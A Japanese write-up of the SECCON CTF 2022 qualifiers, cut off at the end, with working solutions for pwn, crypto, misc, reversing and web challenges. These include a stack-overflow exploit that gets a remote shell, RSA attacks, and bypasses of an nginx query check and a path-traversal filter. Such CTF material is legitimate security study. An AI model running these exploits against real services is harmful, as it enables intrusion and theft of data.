SECCON CTF 2022 予選 writeup

8問、765点、総合58位（国内21位）。

決勝進出条件は、国際大会も国内大会もそれぞれ10以内なので、全然だめ :weary:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/7eb2e5d6-181b-f9eb-377f-403b5da68cfd.png)

![dashboard.quals-score.seccon.jp_teams_196(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/11dc2561-d906-8ccd-6947-f1afc7f8afbd.png)

## pwnable

### kocha

これだけ。

```main.c
#include <stdio.h>
#include <unistd.h>

int main() {
  char name[0x30], country[0x20];

  /* Ask name (accept whitespace) */
  puts("Hello! What is your name?");
  scanf("%[^\n]s", name);
  printf("Nice to meet you, %s!\n", name);

  /* Ask country */
  puts("Which country do you live in?");
  scanf("%s", country);
  printf("Wow, %s is such a nice country!\n", country);

  /* Painful goodbye */
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  alarm(180);
}
```

こういうシンプルなのが好き。Stack canaryは無効、PIEは有効、Full RELRO。

既知のアドレスが何も無くてどうしろと思った。

```libc.txt
   24069:   48 8b 05 40 7e 1c 00    mov    rax,QWORD PTR [rip+0x1c7e40]        # 1ebeb0 <__environ@@GLIBC_2.2.5-0x3750>
   24070:   48 8b 74 24 08          mov    rsi,QWORD PTR [rsp+0x8]
   24075:   8b 7c 24 14             mov    edi,DWORD PTR [rsp+0x14]
   24079:   48 8b 10                mov    rdx,QWORD PTR [rax]
   2407c:   48 8b 44 24 18          mov    rax,QWORD PTR [rsp+0x18]
   24081:   ff d0                   call   rax
   24083:   89 c7                   mov    edi,eax
   24085:   e8 b6 29 02 00          call   46a40 <exit@@GLIBC_2.2.5>
```

`main` からの戻り先アドレスが24083なので、下位1バイトを7cにすると（2バイト目は文字列終端で00になり）。1/16の確率で `main` が再度呼び出される。

国名の入力時に改行だけを入力すると、 `scanf` が失敗して `country` がそのままになる。ld.soとか動かすスクリプトとかも付いているので、試してみると、libcの直後の領域のアドレスが入っていた。2回目に1回目で得たアドレスからOne gadget RCEのアドレスを計算して飛ばした。

ldとlibcを差し替えて動かすの、これで良いのか。 `patchelf` は要らなかったのか。

```run.sh
#!/bin/sh
./lib/ld-2.31.so --library-path ./lib ./bin/chall
```

[one_gadget](https://github.com/david942j/one_gadget)がいつの間にか、 `posix_spawn` にも対応していてありがたい。今回は結局使ってないけど。 `posix_spawn` って何？　という人はこの記事を読んでほしい。

https://qiita.com/kusano_k/items/4a6f285cca613fcf9c9e#glibc-231%E3%81%AE%E5%A0%B4%E5%90%88

空白も使えたほうが確実だろうと、2回目の書き込みを名前のほうで書き込もうとして、しばらくはまった。 `%[^\n]s` みたいなのは、1回目の国名の後の改行だけ読んで終わってしまうのだった。

```attack.py
from pwn import *
import time

context.arch = "amd64"

s = remote("koncha.seccon.games", 9001)

s.sendlineafter(b"Hello! What is your name?\n", b"")
s.recvuntil(b"Nice to meet you, ")
libc = unpack(s.recv(6)+b"\0\0")-0x7f6ac86fd2e8+0x7f6ac850c000
print("libc:", hex(libc))

s.sendlineafter(b"Which country do you live in?\n", b"x"*0x58+b"\x7c")

s.sendlineafter(b"Which country do you live in?\n", b"x"*0x58+pack(libc+0xe3b01))

s.interactive()
```

```shell-session
$ for i in $(seq 100); do python3 attack.py; done
 :
[*] Closed connection to koncha.seccon.games port 9001
[+] Opening connection to koncha.seccon.games on port 9001: Done
libc: 0x7fa5d9dcc000
[*] Switching to interactive mode
Wow, xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\xfb\xea٥ is such a nice country!
It was nice meeting you. Goodbye!
$ ls -al
total 44
drwxr-xr-x 1 root pwn   4096 Nov  3 07:47 .
drwxr-xr-x 1 root root  4096 Nov  3 07:47 ..
-r-xr-x--- 1 root pwn     37 Nov  3 07:45 .redir.sh
-r-xr-x--- 1 root pwn  16992 Nov  3 07:45 chall
-r--r----- 1 root pwn     56 Nov  3 07:45 flag-50d05c4f3e767dfc58f5cde347c36370.txt
$ cat flag*
SECCON{I_should_have_checked_the_return_value_of_scanf}
$ exit
[*] Got EOF while reading in interactive
```

`SECCON{I_should_have_checked_the_return_value_of_scanf}`

### simplemod

解けなかった。

共有ライブラリにグローバル変数 `char gbuf[0x100]` があって、 `0<=i<0x2000` の好きな `gbuf[i]` を30回まで書き換えられる。私は何も分からなかったけど、強い人にかかれば何とでもなりそうなのに、2 solves。好きに書き換えられて、こんなに難しくなるのか。

## crypto

### janken vs kurenaif

解けなかった。

128ビットの整数をシードとしてPythonの `random` を初期化する。そのシードは教えてくれて、それに対してこちらも128ビットの整数で `random` を初期化する。2個の乱数でジャンケンをして666回連続で勝てばクリア。Pythonの `random` はメルセンヌツイスタだったはず。そんなことできるんだ。

### pqpq

```problem.py
from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")
```

素数3個のRSA。公開鍵以外にも情報を与えてくれるので、それで解読しろという問題。

$c_1+c_2$ は、$q^e$ が打ち消し合って全ての項が $p$ を含んでいるので、$n$ との最大公約数で $p$ が求められる。同様に、$c_1-c_2$ から $q$ が求められる。

$e$ が偶数なのがやっかい。$m^2$ は普通のRSAと同じように求められる。後は平方根を求める問題。

https://ja.wikipedia.org/wiki/Rabin%E6%9A%97%E5%8F%B7

4で割って3余る素数なら簡単なのだけど、そうではなかった。Tonelli-Shanksのアルゴリズムというものがあり、以前に実装したような覚えもあるのだが見つからなかった。SageMathに丸投げ。

```solve.sage
e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866

import math

p = math.gcd(c1+c2, n)
q = math.gcd(c1-c2, n)
r = n//(p*q)
print(f"{p=}")
print(f"{q=}")
print(f"{r=}")
assert p*q*r==n

d = pow(e//2, -1, (p-1)*(q-1)*(r-1))
m2 = pow(cm, d, n)
print(f"{m2=}")

from sage.rings.finite_rings.integer_mod import square_root_mod_prime
mp = square_root_mod_prime(GF(p)(m2))
mq = square_root_mod_prime(GF(q)(m2))
mr = square_root_mod_prime(GF(r)(m2))

for i in range(2):
  for j in range(2):
    for k in range(2):
      f = CRT([(1-2*i)*int(mp), (1-2*j)*int(mq), (1-2*k)*int(mr)], [p, q, r])
      print(int(f).to_bytes(192, "big"))
```

```shell-session
>docker run --rm -it -v %CD%:/host sagemath/sagemath sage /host/solve.sage
p=7572427786695057270624844967644562609112132599800420296747189080920032359205995588384031542287784540006438555802994008688795974493684400576592403320929717
q=8609258896430210586523688955272794335561428099377427081622836355194006054569349679983850344916908011330202034512905353365631416251631307084038768336538857
r=9018251874561850467651399512661829039310834429345808807288228370045576292997274498659156953954383290793552486677903139680704353709352146165598701061994853
m2=520233400051196738032405526975962611942614843463806778246719987187337735773606107429814700882201118076001923771780019613242249712654830458149422052484060528259230115533443676470732959185072483258519792162001264554579747542427907013898383273383062782372884379066005519302783693586015544880745358283820429209412892552991973972298738917606010065130897355733498057195740032075382038630783773482659804626908489440044736417664855993200099826946180974182402157324680527
b'\r\xc9\x08\xfb\x1e\x15}e\xc4\xd5\x93\x11\xb1\x1b*\xb7\x00\x91\x0f\xc0\xf6\xb8\xb3Xw: v\xef\xad\x07w\xd4\xad\x1a\xb5\x8b\xcf\xdaK\x96\xc6\xf8\x1f\xda\xcd\xc6\xf3h{y\x88\xc9G\r&\xbdyB\x81y?\xbd\xb4\x08K\xd8]\xa8U\xa7\xca\xf1\xf25\x9f5r\xfd3U\xdf\xba\xcb\xa0\xe7c\xba^\xaf\x98\xe0\x0bt\x85\xf2\xb7\xfa\xc1\xf2\xd8\xc7\xa2\xd1\xe0\xf5g\x9dV{;\x90\x07\x1e\xa0\xd8\xc49\xa5\x93\x94\x85c1\xe1F\x80\xe0\xae\x95\xb8`\xb9\xe0;\xabH\nzr\xfb\xf9\xce\xc6Ek[|\x84N\x06\x13\x91\n\x0e\xc0E\x83\xbd 4\x03\x13~|2[\xa6"\x97\x07\x05\xfbSyQ\x0fUFo\xf1a\x1e&j\x8a\xaa8\xcd\xc9f\x9a'
b'\x05\x95\xd5\xb8\xd2\x8b\x8cM1j\x07)M5\x90\xdf\xbe\x0b\xa1\xda\x12\xf2\x98\xba\xa8\x9b>\xbf$/\x03I\x9c\xa2\xba\xb4\x13\x95\x95Ra\x91\xca\x0f\x15\x95\xbb`\xed\'\xe9hD\xed\xa5\xc3\xcf\x05a\xcb\xe1?\xad\x00\xf1\xa6q\x1c\x0b\xab\x7f\x8e\x13>\x8d\xab\xf1S\x07\xcaVw\xd2\'\xbfm\xb2>\x0f\x86\xf9\xf0M\xca\x16\xaf\x9c\x9b\x81A\xad\x06\xd1\xfb\xcdkZ\xf3\xa1Tt\x143\xf1$B:\x9e\xa6rO\x9c\x85xC\xc7\x01`J<\x16\xe4\xddq\xcf \x86Fi&F?\xadn\xde\xfdv{\xcf~\x14p\x1e"\x9a\xf0\n\x92\xaad\x87x\x0b\x82u\xef\xdbW\xd5\xf9\xf6\x9b<\xacuPE\xe5\xf0\xcc\xac\x1fY\x08\x123\xf9D!\xc9\\i'
b'\x00\x12=\x04q\x9b\xb8\x1c\x10C\x02\x1e\x13`\xac>A\x9c\xf9\x9d\xc2\x83\xc2\xcd\x15\x97\x86\x8e\xd2\x85*s\r\x18~\x9b\xbai\xb1\x07\xacF\x0f\xfcrZ\xf1\xd0\x1f\xb0q\xe4\xbf\xd2\x87G\x1b\xdc\xd2u\x97\xb3\xcc?\xba\xba@\xae\x96\xdc\x1b\x10\xd3\x00f\nH\x99d\xf7{\xea \x82T\xf5\x03\x81\xd0:\r\x8d\xa6P\x92\xa0\x1d\x91n u6}:\x98\r\xa0\xbc\xe5\x84y\x01\x89\xa4P\xf4\xf9\xe4\xf2\x95\x8d\x85\x11\xfezN\x06- e(\x80\xd2\x01\x8e\x94&\xf7amQ\x08@\xd4w\x8e\xbbP\xfa\x17SECCON{being_able_to_s0lve_this_1s_great!}'
b'6P\xac\x03\x0f\xa0\xe0\xcd\xe0\x15\x1c\x82\xdc:\xe6\x0b\xbc\xfb\xa6Q\xc85\xd7V\x1f\xf0\x0e-\x13\xf4wX&HgZ\xc2kfb\xa9WC0s\xa9*\x19\xb9\x0b\xf9\xd4\x81"7E\x05n\x1eIC\xfb\x8e\xfc\xde]\x14\x1b\xd5\x1b\xad\xb9\xc8\xf7]\xc3\xa7\x8d\xed\x0fj\x9d\x99s\x7f\xc4\xfe\x1cqO\x82a\xb1\xf1\xe3\xfah\x84dx\x02\x03 t\xc3"o<\xfc\xc7\xa5\xed\xa1\xc2r\x1a=\xd6?\xa0\x8c\x8e\xd0\xc2>\xab\\\xeb\xa9\xec\xc9+\n\x8c\xfa3k\xa1\x17.:\x15\xeby\xdd\x8bV.\xec\xda\xc8\xe7\xa7\x19\x0c7Ys\xd1\x1c\rf\x91\xee\x9e\xbf\x1c\x11\x15Py\xad=\xaf\x82\xdd\x00s:#6\xb9F\xde\x1f\xf6\xdb\xdf\xda\xb4\x8f\xdd'
b'\x08 \xf6=\xd9\xee8\xfc\x83(\x89\xcaP\x84\xed\x99\x00\xe8tI!BW\xd0\xb9\x07[(\xf8\xf8\xd9\xbb*\xf1\xe1e\xbd\xd0\x93\xf1\x88\xef\x1e\x14R\xdd\x19\xc2[\xa3\x1e;\xc4\x86\xe0\x1b\xd2\x97\x0e@\x00LDs[\xeb&\x93\x05\xce\r,\x0b\xb3A\xe8\xfb\x86\x90q\x83}\xc8!\x8c\x84\xad\xfa~\xee\x91b\x17Y\xdc\xa2\xfd\xcd\xd2\x90\xb6\x8aS\x9b{|k\xec\xcf\xa2NzI\x89+\xa1\x8f\xb6\x0c\x8b\xb7c\xcb\xbb#1ySC\xf4x\xfb\nl\xdd\xf6\x9a\xcc\xaf\xdfd\xb1\xe0\x82\xee\xdf)\xaf\xba\xb8\x9e^/\xa4$\x81\xbf\x8e\xadR>#\xa8\x9a\xa3\xd6\x1a\xee\xd8-\xb0\xf7\x8e:\x8d\x9bi\xfa\xed9\xd1\xe2\x93\xaa\xf8\xef>\x8fJ\x8b\xe8\xb4'
b'>_e<w\xf3a\xaeR\xfa\xa4/\x19_\'f|G \xfd&\xf4lY\xc3_\xe2\xc7:h&\xa0D!\xca$\xc5\xd2IL\x86\x00QHT+R\x0b\xf4\xfe\xa6+\x85\xd6\x90\x19\xbc(Z\x13\xac\x94\x070\x7f\x8d\xfa\x00D\r\x9f\xd5\x01\xaa9\xa2Z{\x18\x89r1A\x12\xb7T\xa8\x95 \x04\x066"\xfb-\xfdH\xc0\xc8\xe8CV\xf6\xd5\xa6\x91:l\xe6\xe5{fa\xa7L\xc6\xd3\xa7Y\x96\xb6m\x8a~\xe7\x8e\xd0\x11\xcd|\x19\xa5B\xf8I\x95\xdfve\xa0M\xbf\x8b(T\xdb\xc4\x8d\xad|\x14\x00\x93y\xe1j\x9d\xa0\x19\x04\xdd"\xdb\'\xe0(\xd1\xa0y\x0e\xcb1\x9b}\x9a\x13\n\xf9\xbe\xf3\x95<\xa9\x15\xb9~\xa8\t\xc3\xccW\x14'
b"8\xdb\xcc\x88\x17\x03\x8d}1\xd3\x9f#\xdf\x8aB\xc4\xff\xd8x\xc0\xd6\x85\x96l0\\*\x96\xe8\xbeM\xc9\xb4\x97\x8e\x0cl\xa6e\x01\xd0\xb4\x975\xb0\xf0\x88{'\x87.\xa8\x00\xbbq\x9d\x08\xff\xca\xbdc\x08&oH\xa1\xc9\x92\xcf>;W\xc1l\x12\x00\xb1\xc1u\xb6\x97\xa3\x8fmL\xdb\xf9\xd8\xe0\xb7\x19\xd3{\x81\xa9\xed\xc9\xb6\xb5\xc7\x0b\x86\xa2\x14q3\x806+\x15\x80S\xb7Zyy\x92\xed\xa5\xb9\xf4V\x17\x05\x1e\x15\xd4\xde\xa3\xa5+A7\x88\t\t\x80']\xe7X\x88\x1e\x8d\xedm\tb\xd8\x15R\xd5\xb8\x9a\x95\xc9\x0eo\xd4\t\xc4\x12/\x06\xcc\xa5[\xa8\x17\x844\t\x8f=\x9b($\x886\x90\\|\x81\x81\x06\xb2!+\x03w\x1c("
b"0\xa8\x99E\xcby\x9cd\x9eh\x13;{\xa4\xa8\xed\xbdS\n\xd9\xf2\xbf{\xcea\xbdH\xdf\x1d@I\x9b|\x8d.\n\xf4l \x08\x9b\x7fi$\xeb\xb8|\xe8\xac3\x9e\x87|b\n:\x1a\x8b\xea\x07\xcb\x08\x15\xbc1\xfcbQ2\x94\x13\x1a\xe2\xb8j\rm\xa1\x80M\x98;\xa6\xc9kbH\\\x91\x8ez\xe3\xbd\xd7:\xaa\xaeWu\x15\xdf\xc5\xd1>]\xa9s\x8cu\xee\xb8\xd7\xe4,\xfc\xe3\tR\xa6\x98\xafm9K\x80\x96U^?K\x89\xc5[\x19\x9c~\xbecL\x9a\xa2\xcd\xfd6\x86\xff$b#Ea2E\xb3!\xf8\xd3~\xc1N\x17\x87'\n\xc6b\xdbY\xca\xe7#\x9e\xd0\x96\x97'[\x18\xe0\xed\x17:\xbcb\xae[p6Ww\x11\xf7"
```

`SECCON{being_able_to_s0lve_this_1s_great!}`

### this_is_not_lsb

解けなかった。

RSAで、上位のほうの8ビットが全て1かどうかを教えてくれるオラクルが与えられる。面白そう。

### BBB

```chall.py
from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from secret import FLAG
from os import urandom


assert len(FLAG) < 100


def generate_key(rng, seed):
    e = rng(seed)
    while True:
        for _ in range(randint(10,100)):
            e = rng(e)
        p = getPrime(1024)
        q = getPrime(1024)
        phi = (p-1)*(q-1)
        if gcd(e, phi) == 1:
            break

    n = p*q
    return (n, e)


def generate_params():
    p = getPrime(1024)
    a = randint(0, p-1)

    return (p,a)


def main():
    p,a = generate_params()
    print("[+] The parameters of RNG:")
    print(f"{a=}")
    print(f"{p=}")
    b = int(input("[+] Inject [b]ackdoor!!: "))
    rng = lambda x: (x**2 + a*x + b) % p

    keys = []
    seeds = []
    for i in range(5):
        seed = int(input("[+] Please input seed: "))
        seed %= p
        if seed in seeds:
            print("[!] Same seeds are not allowed!!")
            exit()
        seeds.append(seed)
        n, e = generate_key(rng, seed)
        if e <= 10:
            print("[!] `e` is so small!!")
            exit()

        keys.append((n,e))

    flag = bytes_to_long(FLAG + urandom(16))
    for n,e in keys:
        c = pow(flag, e, n)
        print("[+] Public Key:")
        print(f"{n=}")
        print(f"{e=}")
        print("[+] Cipher Text:", c)


if __name__ == "__main__":
    main()
```

RSA。こちらから一部のパラメタを指定できる独自の乱数で、 `e` を決める。`p`と`q`は普通に `getPrime`。

ビット数的に、5回全てで `e=11` なら、中国剰余定理で解ける。一度 `x=11` となったらずっと `x=11` のままになるようなパラメタを与え、数ステップ前の異なる値をシードとして指定すれば良い。さっきの問題と違って、こちらは素数が固定ではないので、4で割って3余る素数を引いたときだけ動くようにした。

```attack.py
from pwn import *

s = remote("BBB.seccon.games", 8080)

s.recvuntil(b"a=")
a = int(s.recvline().decode())
s.recvuntil(b"p=")
p = int(s.recvline().decode())

if p%4!=3:
  print("p%4==1")
  exit(0)

b = (11-11*a-11**2)%p
s.sendlineafter(b"[+] Inject [b]ackdoor!!: ", str(b).encode())

def inv(x):
  return pow(x, -1, p)

seeds = [11]
for _ in range(4):
  # https://ja.wikipedia.org/wiki/Rabin%E6%9A%97%E5%8F%B7
  # x**2 + a*x + b = seeds[-1]
  seeds += [(pow(seeds[-1]-b+a**2*inv(4), (p+1)//4, p)-a*inv(2))%p]

for seed in seeds:
  s.sendlineafter(b"[+] Please input seed: ", str(seed).encode())

N = []
C = []

for _ in range(5):
  s.recvuntil(b"n=")
  n = int(s.recvline().decode())
  s.recvuntil(b"e=")
  e = int(s.recvline().decode())
  s.recvuntil(b"[+] Cipher Text: ")
  c = int(s.recvline().decode())
  print(f"{e=}")

  N += [n]
  C += [c]

import sys

sys.setrecursionlimit(10000)

def extgcd(a, b):
  if b==0:
    return 1, 0, a
  else:
    x, y, g = extgcd(b, a%b)
    return y, x-a//b*y, g

def CRT(A, M):
  sa = 0
  sm = 1
  for a, m in zip(A, M):
    x, y, g = extgcd(m, sm)
    assert (a-sa)%g==0
    sa = (sa*x*m+a*y*sm)//g
    sm *= m//g
  return sa%sm, sm

f11, _ = CRT(C, N)
b = 2**1024
f = 0
while b>0:
  if (f+b)**11<=f11:
    f += b
  b //= 2

from Crypto.Util.number import *
print(long_to_bytes(f)[:-16].decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to BBB.seccon.games on port 8080: Done
e=11
e=11
e=11
e=11
e=11
SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}
[*] Closed connection to BBB.seccon.games port 8080
```

どこかがバグっているのか何なのか、後のほうで `e` が11にならないことがある。まあ、競技プログラミングと違って、1回でも正解が得られたらそれで良い。

`SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}`

## misc

### find flag

これにけっこう時間を使ってしまった。

```server.py
#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())
```

フラグが書かれているファイルを指定すればOK。

はいはい、/proc/self/environ ……と思ったが、フラグは先頭に無いとだめ。そもそも、配布された docker-compose.yml や Dockerfile に環境変数の指定が無くて、サーバーで本当に環境変数でフラグを与えているのかが謎なんだよな……。ソースファイルを書き換えてフラグを設定しているかもしれない。ShebangでまでPythonのバージョンを指定していて主張が強い。`open` で何かができる、Python 3.9固有の問題がある……？　とはまった。

ソースコードを良く読むと、リストアップされている例外以外の例外を出せば良いだけだった。

何かしらあるだろと思ったけど、 `OSError` がわりと根っこのほうの例外で、 `OSError` で多くの例外が補足できてしまっている。

https://docs.python.org/ja/3.9/library/exceptions.html

狙うのは `input` だった。TCP接続の送信側だけを切ると、向こうの標準入力が閉じられて、 `EOFError` が発生する。

```attack.py
from pwn import *

s = remote("find-flag.seccon.games", 10042)
s.shutdown("send")
print(s.recvall().decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to find-flag.seccon.games on port 10042: Done
[+] Receiving all data: Done (99B)
[*] Closed connection to find-flag.seccon.games port 10042
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
```

`SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}`

## reversing

### eguite

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/adc7ee60-2f8b-9cb1-c651-c9e2a6fb0239.png)

GUIアプリのライセンス認証回避。昔のCTFはこういう問題が良く出ていた気がする。

WindowsとLinuxの両方のバイナリが配布されていて親切。

Rust製。Rustの解析なんてどうするのか分からなかったが、ネイティブコードになっているので、多少面倒だけど普通に解析できる。 `Invalid license...` を探し、それを参照しているコードを探すと、チェック部分に辿り着ける。0x9eba10あたり。

`SECCON{aaaaaaaaaaaa-bbbbbb-cccccc-dddddddd}` というフォーマットになっていて、各部分を16進数としてみたときに、

```math
\begin{eqnarray*}
a + b &=& \mathrm{0x8b228bf35f6a} \\
b + c &=& \mathrm{0xe78241} \\
c + d &=& \mathrm{0xf9686f4d} + \mathrm{0xe3ab52} \\
c \oplus b \oplus d &=& \mathrm{0xf9686f4d}
\end{eqnarray*}
```

が成り立っていれば良い。この足し算と排他的論理和が混ざっているのを見ると、競技プログラミングでのつらい思い出が浮かんでくるが…… $b$ や $c$ は範囲が小さいので全探索すれば良い。

```solve.py
for b in range(0x1000000):
  c = 0xe78241-b
  a = 0x8b228bf35f6a-b
  d = 0x8b238557f7c8-a
  if b^c^d==0xf9686f4d:
    print(f"SECCON{{{a:012x}-{b:06x}-{c:06x}-{d:08x}}}")
```

```shell-session
>py solve.py
SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}
```

`SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}`

### babycmp

angrが対策されていて使えないのか……。もうアセンブラコードの読み方忘れたよ……。とか思いながら頑張った。

angr使って解いたというツイートがあるな……。今気が付いたけど、この問題は入力が標準入力ではなくコマンドライン引数で、そこを直していなかったわ :rolling_eyes: 

```solve.py
mem = bytes.fromhex(
  "57656c636f6d6520746f20534543434f"+
  "4e203230323200000020d0f2f24d32a8"+
  "04202f2020231e59441a7f3575362d2b"+
  "11175a036d503607153c090104472b36"+
  "410a380000000000003996517a937235"
)

ans = b""
for i in range(0x23):
  ans += bytes([mem[i+0x20]^mem[i%0x16]])
print(ans.decode())
```

```
$ python3 solve.py
SECCON{y0u_f0und_7h3_baby_flag_YaY}
```

### Devil Hunter

解けなかった。

悪魔……ではなく、コンピューターウイルスを退治するCalmAVの定義ファイルが与えられているので、それに引っ掛かるファイルを作れば良いっぽい。

こういう競技プログラミングっぽい問題は解きたかった。でも、時間が無くて定義ファイルのフォーマットを調べられなかった。

## web

### skipinx

> ALL YOU HAVE TO DO IS SKIP NGINX

nginxの設定。

```default.conf
server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}
```

アプリ。

```index.js
const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});
```

nginxは `&proxy=nginx` を追加し、アプリは `proxy=nginx` が含まれていたらエラーにする。

`req.query` がくせ者で、普通に `a=b&proxy=nginx` だと `{ a: 'b', proxy: 'nginx' }`になる。`proxy=x&proxy=nginx` だと `{ proxy: [ 'x', 'nginx' ] }` と配列になる。`proxy[x]=y&proxy=nginx` で `{ proxy: { x: 'y', nginx: true } }` とオブジェクトになったりもする。`proxy[][__proto__]=y&proxy=nginx` で、prototype pollusionこそ起こらないものの、 `{ proxy: [ {}, 'nginx' ] }` と空のオブジェクトが作れる。

こんなものを雑に `includes("nginx")` で判定しているのが脆弱性かと思った。でも、文字列でも配列でも `includes` は動くし、オブジェクトになったときは `proxy.includes` が関数ではないので、例外が起こってフラグは出てこない。もっと上手いことこねくり回して何とか……で時間が溶けた。

> For similar reasons, by default qs will only parse up to 1000 parameters.

https://www.npmjs.com/package/qs

はあ……。長いURLは最初に試したけど、パラメタ数が多いのは試していなかった……。

```shell-session
$ curl $(python -c 'print("http://skipinx.seccon.games:8080/?proxy=x"+"&a="*999)')
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}
```

`SECCON{sometimes_deFault_options_are_useful_to_bypa55}`

### easylfi

解けなかった。

```app.py
from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :( "+repr(filename)
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong... "+f"file://{os.getcwd()}/public/{filename}"
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)
```

やることは2個。

- `".."` と `"%"` の制限を回避して、/flag.txt を読み込む
- /flag.txt 中の `SECCON` を消す
    - フラグのフォーマットは `SECCON{...}` なので

色々と試していて、`{}` が消えることに気が付き、1個目は、`/.{.}/.{.}/flag.txt` でいけた。

ここで、「なぜ `{}` が消えるのだろう？」と考えるべきだったんだな。curlはbashのような感じで、 `https://example.com/{a,b}` で `https://example.com/a` と `https://example.com/b` を連続して読めるらしい。そういえば、そんな話を聞いたことがあったような……。

flag.txt の前に 既知の `{...}` を含むファイル（例えば index.html）を読み込んで、置換で頑張れば良い。

```shell-session
curl 'http://easylfi.seccon.games:3000/.%7B.%7D/.%7B.%7D/%7Bapp/public/index.html,flag.txt%7D?%7B=%7D%7B&%7Bname%7D=%7B&%7B%22%20type%3D%22text%22%20required%3E%0A%20%20%20%20%3Cbutton%20type%3D%22submit%22%3ESubmit%3C%2Fbutton%3E%0A%20%20%3C%2Fform%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A--_curl_--file%3A%2F%2F%2Fapp%2Fpublic%2F..%2F..%2Fflag.txt%0ASECCON%7D='
--_curl_--file:///app/public/../../app/public/index.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <p>Input your name:</p>
  <form action="/hello.html" method="GET">
